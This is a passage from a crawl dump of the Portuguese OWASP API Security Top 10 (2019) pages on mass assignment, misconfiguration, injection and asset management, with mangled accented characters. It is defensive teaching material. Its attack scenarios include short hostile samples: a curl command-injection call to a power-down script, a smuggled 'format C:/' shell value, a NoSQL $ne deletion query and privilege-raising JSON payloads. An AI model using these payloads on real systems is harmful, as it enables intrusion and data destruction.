\"admins\"). | Verificaçþes de autorização para uma função ou recurso geralmente sĂŁo gerenciadas por configuração e em alguns casos a nĂ­vel de cĂłdigo. Implementar verificaçþes apropriadas pode ser uma tarefa confusa, uma vez que aplicativos modernos podem conter muitos tipos de papĂŠis ou grupos e ainda uma complexa hierarquia de usuĂĄrios (ex.: sub-usuĂĄrios, usuĂĄrios com mais de um papel). | Este tipo de falha pode permitir que atacantes tenham acesso a funçþes nĂŁo autorizadas. Funçþes administrativas geralmente sĂŁo os alvos deste tipo de ataque. |\n\n## A API estĂĄ vulnerĂĄvel?\n\nA melhor maneira de encontrar quebras de função e autorização ĂŠ executar uma profunda anĂĄlise do mecanismo de autorização, ao mesmo tempo mantendo em mente a hierarquia de usuĂĄrio, diferentes papĂŠis ou grupos da aplicação e perguntando-se as seguintes questĂľes:\n\n- Pode um usuĂĄrio regular acessar *endpoints* administrativos?\n- Pode um usuĂĄrio executar açþes sensĂ­veis (ex.: criação, modificação ou exclusĂŁo), mesmo apenas alterando o mĂŠtodo HTTP (ex.: trocando `GET` para `DELETE` )?\n- Pode um usuĂĄrio do grupo de acesso X acessar uma função que deve ser acessĂ­vel apenas para usuĂĄrios do grupo Y apenas adivinhando a URL (ex.: `/api/v1/users/export_all` )?\n\nNunca considere apenas a URL como separação de *endpoints* regulares e administrativas.\n\nUma vez que desenvolvedores podem optar pela exposição de *endpoints* administrativos por um determinado caminho como `api/admins`, tambĂŠm ĂŠ muito comum encontrar endpoints administrativos em caminhos similares como `api/users`.\n\n## CenĂĄrios de exemplo de ataques\n\n### CenĂĄrio #1\n\nDurante o processo de registro de uma aplicação que permite apenas usuĂĄrios convidados se cadastrarem, o aplicativo mĂłvel realiza uma chamada de API para `GET /api/invites/{invite_guid}`. A resposta no formato JSON contĂŠm os detalhes sobre o convite, incluindo o papel e endereço de e-mail do usuĂĄrio.\n\nUm atacante duplica a requisição e, modifica o mĂŠtodo HTTP e o *endpoint* para `POST /api/invites/new`. Este *endpoint* deveria ser acessĂ­vel apenas por administradores utilizando a console administrativa, que nĂŁo implementa uma autorização de nĂ­vel de função.\n\nO atacante entĂŁo explora este problema enviando a si mesmo um convite para criar uma conta administrativa:\n\n```\nPOST /api/invites/new\n\n{“email”:”[email protected]”,”role”:”admin”}\n```\n\n### CenĂĄrio #2\n\nUma API contĂŠm um *endpoint* que deveria estar exposta apenas para administradores: `GET /api/admin/v1/users/all`. Este *endpoint* retorna detalhes sobre todos os usuĂĄrios e nĂŁo implementa uma verificação de nĂ­vel de função. Um atacante que estudou a estrutura da API e consegue encontrar este *endpoint* que expĂľe detalhes de todos os usuĂĄrios da aplicação.\n\n## Como prevenir\n\nSua aplicação deve possuir um consistente mĂłdulo de autorização a ser invocado por todas suas funçþes. Frequentemente este tipo de proteção ĂŠ provida por um ou mais componentes externos ao cĂłdigo da aplicação.\n\n- O mecanismo de verificação deve negar tudo por padrĂŁo, requerendo permissĂľes explĂ­citas para papĂŠis de cada função.\n- Revise seus *endpoints* de API para validar falhas de autorização, enquanto mantĂŠm em mente a lĂłgica de negĂłcio da aplicação e hierarquia de grupos.\n- Certifique-se que todos seus controles administrativos sejam herdados por um *controller* de abstração que implemente as verificaçþes de autorização.\n- Tenha certeza que funçþes administrativas dentro de *controllers* regulares implementem verificação de autorização baseado no usuĂĄrio, grupos e papĂŠis.\n\n## ReferĂŞncias\n\n### OWASP\n\n- [OWASP Article on Forced Browsing](https://www.owasp.org/index.php/Forced_browsing)\n- [OWASP Top 10 2013-A7-Missing Function Level Access Control](https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control)\n- [OWASP Development Guide: Chapter on Authorization](https://cheatsheetseries.owasp.org/cheatsheets/Access_Control_Cheat_Sheet.html)\n\n### Externas\n\n- [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)", "znaku_textu": 4708, "slov": 634, "odkazu": 168, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:30:33", "sha256": "0174d7a043f2c36bcb413429b1b3fa21baa62317b2674a919f9ed9210cc3d557", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Forced_browsing", "https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control", "https://cheatsheetseries.owasp.org/cheatsheets/Access_Control_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/285.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-BR/0xa6-mass-assignment/", "titulek": "API6:2019 - Mass Assignment - OWASP API Security Top 10", "h1": "API6:2019 - Mass Assignment", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-BR/0xa6-mass-assignment/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API6:2019 - Mass Assignment"}, {"uroven": 2, "text": "A API estĂĄ vulnerĂĄvel?"}, {"uroven": 2, "text": "CenĂĄrios de exemplo de ataques"}, {"uroven": 3, "text": "CenĂĄrio #1"}, {"uroven": 3, "text": "CenĂĄrio #2"}, {"uroven": 2, "text": "Como prevenir"}, {"uroven": 2, "text": "ReferĂŞncias"}, {"uroven": 3, "text": "Externas"}], "markdown": "# API6:2019 - Mass Assignment\n\n| Agentes/Vetores | Fraquezas de Segurança | Impactos |\n| --- | --- | --- |\n| EspecĂ­fico da API : Explorabilidade **2** | PrevalĂŞncia **2** : Detecção **2** | TĂŠcnico **2** : EspecĂ­fico do negĂłcio |\n| A exploração usualmente requer compreensĂŁo da lĂłgica de negĂłcio, relação entre objetivos e estrutura da API. Este tipo de exploração ĂŠ mais fĂĄcil em APIs, uma vez que por *design* elas expĂľem implementaçþes internas do aplicativo junto de suas propriedades. | *Frameworks* modernos encorajam desenvolvedores a utilizar funçþes que automaticamente conectam a entrada do cliente em variĂĄveis de cĂłdigo e objetos internos. Atacantes podem utilizar esta metodologia para atualizar ou sobrescrever propriedades em objetos sensĂ­veis que os desenvolvedores nunca tiveram intenção de expor. | A exploração pode levar a escalação de privilĂŠgios, adulteração de dados, desvio de mecanismos de segurança, entre outros. |\n\n## A API estĂĄ vulnerĂĄvel?\n\nObjetos em aplicativos modernos podem conter muitas propriedades. Algumas dessas propriedades podem ser diretamente atualizadas pelo cliente (ex.: `user.first_name` ou `user.address`), outras propriedades por sua vez podem nĂŁo ser (ex.: o *flag* `user.is_vip`).\n\nUm *endpoint* de API estĂĄ vulnerĂĄvel se ele automaticamente converte parâmetros recebidos do cliente em propriedades de objeto internos, sem considerar o quĂŁo sensĂ­vel sĂŁo estas mesmas propriedades. Isto pode permitir a um atacante atualizar propriedades de um objeto ao qual ele nĂŁo deveria ter acesso.\n\nExemplos de propriedades sensĂ­veis:\n\n- **Propriedades relacionadas Ă permissĂľes** : `user.is_admin` , `user.is_vip` devem ser escritas somente por admins.\n- **Propriedades que depende de processamento** : `user.cash` deve ser escrita somente apĂłs a efetivação/verificação do pagamento.\n- **Propriedades internas** : `article.created_time` deve ser escrita apenas internamente pela aplicação.\n\n## CenĂĄrios de exemplo de ataques\n\n### CenĂĄrio #1\n\nUm aplicativo de compartilhamento de corridas permite ao usuĂĄrio a opção de editar informaçþes e dados bĂĄsicos do seu perfil. Durante este processo, uma chamada Ă API ĂŠ enviada para `PUT /api/v1/users/me` com o seguinte, e legĂ­timo, objeto JSON:\n\n```\n{\"user_name\":\"inons\",\"age\":24}\n```\n\nA requisição `GET /api/v1/users/me` inclui uma propriedade adicional chamada \"credit_balance property\":\n\n```\n{\"user_name\":\"inons\",\"age\":24,\"credit_balance\":10}\n```\n\nO atacante repete a primeira requisição com o *payload* abaixo:\n\n```\n{\"user_name\":\"attacker\",\"age\":60,\"credit_balance\":99999}\n```\n\nUma vez que o *endpoint* estĂĄ vulnerĂĄvel, o atacante recebe crĂŠditos sem pagar.\n\n### CenĂĄrio #2\n\nUm portal de compartilhamento de vĂ­deos permite aos usuĂĄrios o envio de conteĂşdo e *download* de conteĂşdo em diferentes formatos. Um atacante explora a API no *endpoint* `GET /api/v1/videos/{video_id}/meta_data` que retorna um objeto com propriedades do vĂ­deo. Uma das propriedades ĂŠ `\"mp4_conversion_params\":\"-v codec h264\"`, que indica que a aplicação usa um comando *shell* para converter o vĂ­deo.\n\nEste mesmo atacante encontrou o *endpoint* `POST /api/v1/videos/new` que estĂĄ vulnerĂĄvel e permite ao cliente atribuir qualquer propriedade ao objeto vĂ­deo, entĂŁo o atacante atribui um valor malicioso como o exemplo a seguir: `\"mp4_conversion_params\":\"-v codec h264 && format C:/\"`. Este valor poderĂĄ causar a execução de um comando *shell* quando o atacante pedir o *download* do vĂ­deo no formato mp4.\n\n## Como prevenir\n\n- Se possĂ­vel evite usar funçþes que automaticamente conectam entradas de usuĂĄrio em variĂĄveis no cĂłdigo ou em objetos internos.\n- Desenvolva controles para permitir que apenas determinadas propriedades possam ser atualizadas pelo cliente.\n- Use recursos *built-in* para criar listas de proibição do que nĂŁo deve ser acessado pelo cliente.\n- Se aplicĂĄvel, aplique de maneira explĂ­cita *schemas* nas entradas de *payload* dos usuĂĄrios.\n\n## ReferĂŞncias\n\n### Externas\n\n- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)", "znaku_textu": 4014, "slov": 537, "odkazu": 163, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:30:59", "sha256": "ed14ceca5a907ca7ec80b27c7e7b1eb2e2e16ca8a7ddda1535843c1c7236e0a2", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/915.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-BR/0xa7-security-misconfiguration/", "titulek": "API7:2019 Security Misconfiguration - OWASP API Security Top 10", "h1": "API7:2019 Security Misconfiguration", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-BR/0xa7-security-misconfiguration/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API7:2019 Security Misconfiguration"}, {"uroven": 2, "text": "A API estĂĄ vulnerĂĄvel?"}, {"uroven": 2, "text": "CenĂĄrios de exemplo de ataques"}, {"uroven": 3, "text": "CenĂĄrio #1"}, {"uroven": 3, "text": "CenĂĄrio #2"}, {"uroven": 3, "text": "CenĂĄrio #3"}, {"uroven": 2, "text": "Como prevenir"}, {"uroven": 2, "text": "ReferĂŞncias"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externas"}], "markdown": "# API7:2019 Security Misconfiguration\n\n| Agentes/Vetores | Fraquezas de Segurança | Impactos |\n| --- | --- | --- |\n| EspecĂ­fico da API : Explorabilidade **3** | PrevalĂŞncia **3** : Detecção **3** | TĂŠcnico **2** : EspecĂ­fico do negĂłcio |\n| Atacantes eventualmente procuram falhas nĂŁo corrigidas, *endpoints* comuns, ou diretĂłrios nĂŁo protegidos para ganhar acesso nĂŁo-autorizado ou realizar um reconhecimento do sistema. | Configuraçþes inadequadas de segurança podem ocorrer a qualquer nĂ­vel do *stack* da API, desde o nĂ­vel da rede atĂŠ o nĂ­vel da aplicação. Ferramentas de automação estĂŁo disponĂ­veis para detectar e explorar erros de configuração, como serviços desnecessĂĄrios e opçþes de suporte ao legado. | Configuraçþes inadequadas podem nĂŁo apenas expor dados sensĂ­veis de usuĂĄrios, como tambĂŠm podem revelar detalhes do sistema e comprometer servidores como um todo. |\n\n## A API estĂĄ vulnerĂĄvel?\n\nSua API pode estar vulnerĂĄvel se:\n\n- Configuraçþes apropriadas de *hardening* faltam a qualquer parte da aplicação, ou quando hĂĄ permissĂľes mal configuradas em provedores de nuvem.\n- Os Ăşltimos *patches* de segurança nĂŁo estĂŁo aplicados ou os sistemas estĂŁo desatualizados.\n- Recursos nĂŁo necessĂĄrios estĂŁo habilitados (ex.: certos verbos HTTP).\n- Transporte criptografado (TLS) nĂŁo configurado.\n- Diretivas de segurança nĂŁo enviadas aos clientes (ex.: [Cabeçalhos de Segurança](https://owasp.org/www-project-secure-headers/) ).\n- Configuraçþes de polĂ­tica CORS ( *Cross-Origin Resource Sharing* ) nĂŁo configuradas ou configuradas inadequadamente.\n- Mensagens de erro incluindo *stack trace* ou informaçþes sensĂ­veis.\n\n## CenĂĄrios de exemplo de ataques\n\n### CenĂĄrio #1\n\nUm atacante encontra o arquivo `.bash_history` no diretĂłrio root do servidor, o qual contĂŠm comandos utilizados pelo time de DevOps para acesso Ă API:\n\n```\n$ curl -X GET 'https://api.server/endpoint/' -H 'authorization: Basic Zm9vOmJhcg=='\n```\n\nUm atacante pode tambĂŠm encontrar novos *endpoints* da API que sĂŁo utilizados apenas pelo time de DevOps os quais nĂŁo constam na documentação.\n\n### CenĂĄrio #2\n\nPara mirar um serviço em especĂ­fico, um atacante utiliza uma popular ferramenta de pesquisa na web para encontrar servidores que estĂŁo diretamente acessĂ­veis na internet. Este atacante encontra um *host* executando um popular serviço de gerenciamento de banco de dados, o qual estĂĄ ouvindo na porta padrĂŁo. Este mesmo *host* utiliza configuraçþes padrĂŁo do sistema de gerenciamento de banco de dados, o qual a autenticação de acesso ĂŠ desabilitada por padrĂŁo, entĂŁo o atacante consegue acesso Ă milhares de registros com dados pessoais sensĂ­veis e dados de autenticação.\n\n### CenĂĄrio #3\n\nInspecionando o trĂĄfego de um aplicativo mĂłvel, um atacante encontra que nem todo o trĂĄfego HTTP estĂĄ sendo executado em protocolo seguro (ex.: TLS). O atacante confirma esta condição ao realizar o *download* de imagens de perfis. Como a interação do usuĂĄrio nesse caso ĂŠ binĂĄria, apesar do fato de o trĂĄfego da API ser realizado com protocolo seguro, o atacante encontra um padrĂŁo no tamanho das respostas da API e utiliza isso para monitorar preferĂŞncias de usuĂĄrio sobre o conteĂşdo renderizado (Ex. Imagens de perfil).\n\n## Como prevenir\n\nO ciclo de vida da API deve incluir:\n\n- Um processo de *hardening* contĂ­nuo levando a um rĂĄpido e fĂĄcil modelo de entrega a um ambiente apropriadamente protegido.\n- Uma tarefa de revisĂŁo e atualização de configuraçþes em todo o *stack* da API, essa revisĂŁo deve incluir: Arquivos de orquestração, componentes de API, serviços de nuvem (ex.: permissĂľes de *buckets* ).\n- Um canal de comunicação segura para todos os pontos de interação da API, inclusive objetos estĂĄticos (Ex.: Imagens).\n- Processo automatizado para continuamente avaliar a efetividade das configuraçþes e preferĂŞncias em todos os ambientes.\n\nAlĂŠm disso:\n\n- Para prevenir que detalhes de erros e outras informaçþes sejam enviados de volta aos atacantes, se aplicĂĄvel, defina e aplique *schemas* aos *responses* da API.\n- Certifique-se que a API sĂł pode ser acessada por verbos HTTP especĂ­ficos. Todos os demais verbos devem estar desabilitados (ex: `HEAD` ).\n- APIs que devem ser acessadas por navegadores (ex.: *front-end* de aplicação web) devem implementar uma polĂ­tica CORS apropriada.\n\n## ReferĂŞncias\n\n### OWASP\n\n- [OWASP Secure Headers Project](https://owasp.org/www-project-secure-headers/)\n- [OWASP Testing Guide: Configuration Management](https://www.owasp.org/index.php/Testing_for_configuration_management)\n- [OWASP Testing Guide: Testing for Error Codes](https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001))\n- [OWASP Testing Guide: Test Cross Origin Resource Sharing](https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007))\n\n### Externas\n\n- [CWE-2: Environmental Security Flaws](https://cwe.mitre.org/data/definitions/2.html)\n- [CWE-16: Configuration](https://cwe.mitre.org/data/definitions/16.html)\n- [CWE-388: Error Handling](https://cwe.mitre.org/data/definitions/388.html)\n- [Guide to General Server Security](https://csrc.nist.gov/publications/detail/sp/800-123/final) , NIST\n- [Let’s Encrypt: a free, automated, and open Certificate Authority](https://letsencrypt.org/)", "znaku_textu": 5185, "slov": 678, "odkazu": 173, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:31:10", "sha256": "c4264a0673a54fc3c46d359c8e480833b54148ce743723ad05da9c25d411c480", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Testing_for_configuration_management", "https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001)", "https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)", "https://cwe.mitre.org/data/definitions/2.html", "https://cwe.mitre.org/data/definitions/16.html", "https://cwe.mitre.org/data/definitions/388.html", "https://csrc.nist.gov/publications/detail/sp/800-123/final", "https://letsencrypt.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-BR/0xa8-injection/", "titulek": "API8:2019 Injection - OWASP API Security Top 10", "h1": "API8:2019 Injection", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-BR/0xa8-injection/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API8:2019 Injection"}, {"uroven": 2, "text": "A API estĂĄ vulnerĂĄvel?"}, {"uroven": 2, "text": "CenĂĄrios de exemplo de ataques"}, {"uroven": 3, "text": "CenĂĄrio #1"}, {"uroven": 3, "text": "CenĂĄrio #2"}, {"uroven": 2, "text": "Como prevenir"}, {"uroven": 2, "text": "ReferĂŞncias"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externas"}], "markdown": "# API8:2019 Injection\n\n| Agentes/Vetores | Fraquezas de Segurança | Impactos |\n| --- | --- | --- |\n| EspecĂ­fico da API : Explorabilidade **3** | PrevalĂŞncia **2** : Detecção **3** | TĂŠcnico **3** : EspecĂ­fico do negĂłcio |\n| Atacantes vĂŁo entregar Ă API dados maliciosos a quaisquer vetores de injeção disponĂ­veis (ex.: dados, parâmetros, integraçþes e etc.), esperando que estes dados sejam entregues a um interpretador. | Falhas por injeção sĂŁo muito comuns e geralmente encontrados em consultas SQL, LDAP ou noSQL, comando em SO, *parsers* de XML e ORM. SĂŁo falhas simples de encontrar ao revisar cĂłdigo fonte, e atacantes podem utilizar *scanners* e *fuzzers*. | Injeção pode levar ao vazamento de informação e perda de dados. TambĂŠm podem levar Ă DoS ou a perda completa de um *host*. |\n\n## A API estĂĄ vulnerĂĄvel?\n\nA API estĂĄ vulnerĂĄvel Ă s falhas de injeção se:\n\n- Dados enviados pelo cliente nĂŁo sĂŁo validados, filtrados ou sanitizados pela API.\n- Dados enviados pelo cliente sĂŁo utilizados diretamente ou concatenados para consultas SQL/NoSQL/LDAP, comandos de sistema operacional, *parsers* XML, ORM ( *Object Relational Mapping* ) ou ODM ( *Object Document Mapper* ).\n- Dados vindos de sistemas externos (ex.: sistemas de integração) nĂŁo sĂŁo validados, filtrados ou sanitizados pela API.\n\n## CenĂĄrios de exemplo de ataques\n\n### CenĂĄrio #1\n\nO *firmware* de um dispositivo de controle parental provĂŞ o *endpoint* `/api/CONFIG/restore` o qual espera um appId a ser enviado como um parâmetro *multipart*. Utilizando um descompilador, o atacante encontra que o parâmetro appId ĂŠ repassado diretamente para uma chamada de sistema sem qualquer sanitização:\n\n```\nsnprintf(cmd, 128, \"%srestore_backup.sh /tmp/postfile.bin %s %d\",\n \"/mnt/shares/usr/bin/scripts/\", appid, 66);\nsystem(cmd);\n```\n\nCom o seguinte comando o atacante consegue desligar qualquer dispositivo que estiver com o *firmware* vulnerĂĄvel:\n\n```\n$ curl -k \"https://${deviceIP}:4567/api/CONFIG/restore\" -F 'appid=$(/etc/pod/power_down.sh)'\n```\n\n### CenĂĄrio #2\n\nEstamos com uma aplicação com funcionalidades bĂĄsicas de CRUD para operaçþes de agendamento. Um atacante identifica que uma injeção NoSQL pode ser possĂ­vel por meio do um parâmetro `bookingId` informado via *querystring* na requisição de exclusĂŁo de pedido de agendamento. Eis a requisição em questĂŁo: `DELETE /api/bookings?bookingId=678`.\n\nO servidor da API utiliza a seguinte função para executar a requisição de exclusĂŁo:\n\n```\nrouter.delete('/bookings', async function (req, res, next) {\n try {\n const deletedBooking = await Bookings.findOneAndRemove({'_id' : req.query.bookingId});\n res.status(200);\n } catch (err) {\n res.status(400).json({error: 'Unexpected error occured while processing a request'});\n }\n});\n```\n\nO atacante intercepta a requisição de modifica o valor da *querystring* `bookingId` como demonstrado abaixo. Neste caso, o atacante consegue excluir todos os demais agendamentos de usuĂĄrios:\n\n```\nDELETE /api/bookings?bookingId[$ne]=678\n```\n\n## Como prevenir\n\nPrevenir injeção requer manter os dados separados de comandos e consultas.\n\n- Execute validação de dados utilizando uma biblioteca Ăşnica, confiĂĄvel e de ativa manutenção.\n- Valide, filtre e sanitize todos os dados providos pelo cliente, e tambĂŠm dados vindos de sistemas integradores.\n- Caracteres especiais devem ser avaliados utilizando a sintaxe especĂ­fica do interpretador dos comandos.\n- Prefira APIs seguras, que entreguem interfaces seguras e parametrizadas.\n- Sempre limite o nĂşmero de registros retornados para prevenir vazamento em massa em caso de injeção.\n- Valide os dados recebidos utilizando filtros suficientes para permitir que apenas valores vĂĄlidos cheguem aos interpretadores.\n- Defina tipos de dados de padrĂľes *strict* em todos os parâmetros do tipo *string* .\n\n## ReferĂŞncias\n\n### OWASP\n\n- [OWASP Injection Flaws](https://owasp.org/www-community/Injection_Flaws)\n- [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n- [NoSQL Injection Fun with Objects and Arrays](https://www.owasp.org/images/e/ed/GOD16-NOSQL.pdf)\n- [Command Injection](https://owasp.org/www-community/attacks/Command_Injection)\n\n### Externas\n\n- [CWE-77: Command Injection](https://cwe.mitre.org/data/definitions/77.html)\n- [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)", "znaku_textu": 4230, "slov": 540, "odkazu": 169, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:31:28", "sha256": "562387f2bc7dfd7012e3cb7075fd7e09856156b6e64ecea8d5a3a728b8f55a4a", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/images/e/ed/GOD16-NOSQL.pdf", "https://cwe.mitre.org/data/definitions/77.html", "https://cwe.mitre.org/data/definitions/89.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-BR/0xa9-improper-assets-management/", "titulek": "API9:2019 Improper Assets Management - OWASP API Security Top 10", "h1": "API9:2019 Improper Assets Management", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-BR/0xa9-improper-assets-management/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API9:2019 Improper Assets Management"}, {"uroven": 2, "text": "A API estĂĄ vulnerĂĄvel?"}, {"uroven": 2, "text": "CenĂĄrios de exemplo de ataques"}, {"uroven": 3, "text": "CenĂĄrio #1"}, {"uroven": 3, "text": "CenĂĄrio #2"}, {"uroven": 2, "text": "Como prevenir"}, {"uroven": 2, "text": "ReferĂŞncias"}, {"uroven": 3, "text": "Externas"}], "markdown": "# API9:2019 Improper Assets Management\n\n| Agentes/Vetores | Fraquezas de Segurança | Impactos |\n| --- | --- | --- |\n| EspecĂ­fico da API : Explorabilidade **3** | PrevalĂŞncia **3** : Detecção **2** | TĂŠcnico **2** : EspecĂ­fico do negĂłcio |\n| VersĂľes desatualizadas de APIs geralmente carecem de *patches* e sĂŁo um meio fĂĄcil de comprometer sistemas sem a presença de mecanismos de segurança no estado-da-arte, e que podem existir tambĂŠm para proteger versĂľes atualizadas de APIs. | Documentação desatualizada torna mais difĂ­cil encontrar e/ou corrigir vulnerabilidades. Falta de um inventĂĄrio de ativos e estratĂŠgias de retirada levam ao cenĂĄrio de sistemas sem atualização permanecerem em execução, podendo resultar no vazamento de dados sensĂ­veis. É bastante comum encontrar APIs expostas sem necessidade em razĂŁo de conceitos modernos como os de microsserviços, que permite que aplicativos sejam lançados independentemente (ex.: computação em nuvem, kubernetes). | Atacantes tĂŞm acesso a dados sensĂ­veis e atĂŠ tomar o controle de servidores por meio de uma velha e desatualizada API conectada ao mesmo banco de dados. |\n\n## A API estĂĄ vulnerĂĄvel?\n\nA API pode estar vulnerĂĄvel se:\n\n- O propĂłsito do *host* da API nĂŁo for claro, e se nĂŁo hĂĄ respostas explĂ­citas para as seguintes questĂľes:\n - Em qual ambiente estĂĄ rodando Ă API? (Ex.: produção, *staging* , teste, desenvolvimento)?\n - Quem deve ter acesso via rede Ă API (Ex.: pĂşblica, interna, parceiros)?\n - Em qual versĂŁo estĂĄ a API em execução?\n - Que tipo de informação acessa a API (Ex.: Dados pessoais sensĂ­veis)?\n - Qual ĂŠ o fluxo da informação?\n- NĂŁo existe documentação, ou a documentação existente estĂĄ desatualizada.\n- NĂŁo hĂĄ um plano de retirada para cada versĂŁo da API.\n- InventĂĄrio de *hosts* nĂŁo existe ou estĂĄ desatualizado.\n- InventĂĄrio de serviços de integração, seja interna ou de parceiros, nĂŁo existe ou estĂĄ desatualizado.\n- VersĂľes antigas da API continuam rodando sem *patches* .\n\n## CenĂĄrios de exemplo de ataques\n\n### CenĂĄrio #1\n\nApĂłs um redesenho de suas aplicaçþes, um serviço de pesquisa local deixou uma versĂŁo antiga da API (`api.someservice.com/v1`) em execução, nĂŁo protegida, e com acesso ao banco de dados. Enquanto buscava como alvo a Ăşltima versĂŁo do aplicativo, um atacante percebeu o endereço da API (`api.someservice.com/v2`). Substituindo `v2` por `v1` na URL, o atacante acessou a versĂŁo antiga e nĂŁo protegida, a qual expĂľe dados pessoais sensĂ­veis de mais de 100 milhĂľes de usuĂĄrios.\n\n### CenĂĄrio #2\n\nUma rede social implementou um nĂ­vel de classificação mĂ­nimo que bloqueia atacantes do uso de força bruta para conseguir acesso por meio de adivinhação de *tokens* de redefinição de senhas de acesso. Este mecanismo nĂŁo foi implementado no cĂłdigo prĂłprio da API, mas em um componente separado entre o cliente e a API oficial (`www.socialnetwork.com`). Um pesquisador encontrou a versĂŁo beta da API (`www.mbasic.beta.socialnetwork.com`) que executa a mesma API, incluindo o mecanismo de redefinição de senha, onde o nĂ­vel de classificação mĂ­nimo nĂŁo estĂĄ ativado. Dessa maneira ele pode redefinir a senha de qualquer usuĂĄrio com um mecanismo simples de força bruta para adivinhar o *token* de seis dĂ­gitos.\n\n## Como prevenir\n\n- Faça o inventĂĄrio de todos os *hosts* de API e documente aspectos importantes de cada um deles, com foco no ambiente das APIs (Ex.: produção, *staging* , testes, desenvolvimento), e qual desses ambientes deve ter acesso Ă quais redes (Ex.: pĂşblica, interno, parceiros) e as versĂľes da API.\n- Faça o inventĂĄrio de todos os serviços de integração e documente os aspectos importantes como o papel de cada um deles no sistema, qual tipo de dado ĂŠ trocado e se estes dados sĂŁo sensĂ­veis.\n- Documente todos os aspectos da sua API, como autenticação, erros, redirecionamentos, limite de classificação, polĂ­tica de *cross-origin resource sharing* (CORS) e seus *endpoints* , incluindo os parâmetros, requisiçþes e respostas.\n- Faça documentaçþes automatizadas utilizando padrĂľes abertos, inclua a documentação de compilação no *pipeline* de CI/CD.\n- Faça a documentação disponĂ­vel para aqueles autorizados Ă utilizĂĄ-la.\n- Utilize mĂŠtricas de proteção como *firewalls* de APIs para todas as versĂľes expostas e nĂŁo apenas para a versĂŁo em produção.\n- Evite utilizar dados de produção em *deployments* de API em ambientes de nĂŁo produção. Caso seja impossĂ­vel, estes *endpoints* devem possuir o mesmo tratamento de segurança daqueles que estĂŁo em produção.\n- Quando novas versĂľes da API incluir melhorias de segurança, faça uma anĂĄlise de risco para auxiliar a decisĂŁo de mitigação de açþes necessĂĄrias para a versĂŁo antiga da API. Por exemplo: sempre que for possĂ­vel utilizar versĂľes antigas sem quebrar compartibilidade, vocĂŞ precisa trabalhar para que todos os clientes façam o movimento para a Ăşltima versĂŁo.\n\n## ReferĂŞncias\n\n### Externas\n\n- [CWE-1059: Incomplete Documentation](https://cwe.mitre.org/data/definitions/1059.html)\n- [OpenAPI Initiative](https://www.openapis.org/)", "znaku_textu": 5040, "slov": 744, "odkazu": 164, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:32:15", "sha256": "e6e60b0cafb26e143a87db6df2899facd0e918dad6a596b8908322592720e57d", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/1059.html", "https://www.openapis.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-BR/0xaa-insufficient-logging-monitoring/", "titulek": "API10:2019 Insufficient Logging & Monitoring - OWASP API Security Top 10", 